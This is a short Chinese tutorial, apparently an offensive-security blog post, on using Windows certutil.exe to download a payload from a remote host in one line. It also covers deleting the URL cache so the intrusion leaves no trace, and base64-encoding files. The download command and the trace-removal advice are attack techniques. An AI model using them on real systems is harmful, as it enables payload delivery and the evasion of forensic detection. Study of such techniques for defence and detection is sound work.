CertUtil一句话下载payload
/0x00 前言
参考Micro8系列第三十八课:https://micro8.gitbook.io/micro8/contents-1/31-40/38certutil-yi-ju-hua-xia-zai-payload
0x01 CertUtil
简介
微软官方文档:https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil
Certutil.exe 是命令行程序,作为证书服务的一部分进行安装。 你可以使用 certutil.exe 来转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件以及验证证书、密钥对和证书链。
如果 certutil 在没有其他参数的证书颁发机构上运行,则它将显示当前的证书颁发机构配置。 如果在非证书颁发机构上运行 certutil,则该命令默认为运行
certutil [-dump]
命令。
校验文件哈希值
相关参数:
- -hashfile:生成并显示文件的加密哈希;
平时我们就有用到这个Windows自带的程序来校验文件的哈希值:
1 | certutil -hashfile xxx MD5 |
一句话下载payload
相关参数:
- -urlcache:显示或删除URL缓存条目,其中delete指从当前用户的本地缓存中删除相关的URL;
- -split:拆分嵌入的node.js元素,并保存到文件;
- -f:强制覆盖;
CertUtil一句话下载payload如下:
1 | certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt |
但是certutil下载有个弊端,就是每一次下载都有留有缓存从而导致留下入侵痕迹,所以每次下载后需要进行马上执行如下命令:
1 | certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt delete |
文件Base64加解密
相关参数:
- -encode:将文件编码为Base64;
- -decode:对Base64编码的文件进行解码;
Base64加密:
1 | D:\>certutil -encode d:\test.txt test.bat |
示例中加密生成的test.bat文件内容:
1 | -----BEGIN CERTIFICATE----- |
Base64解密:
1 | D:\>certutil -decode test.bat new.txt |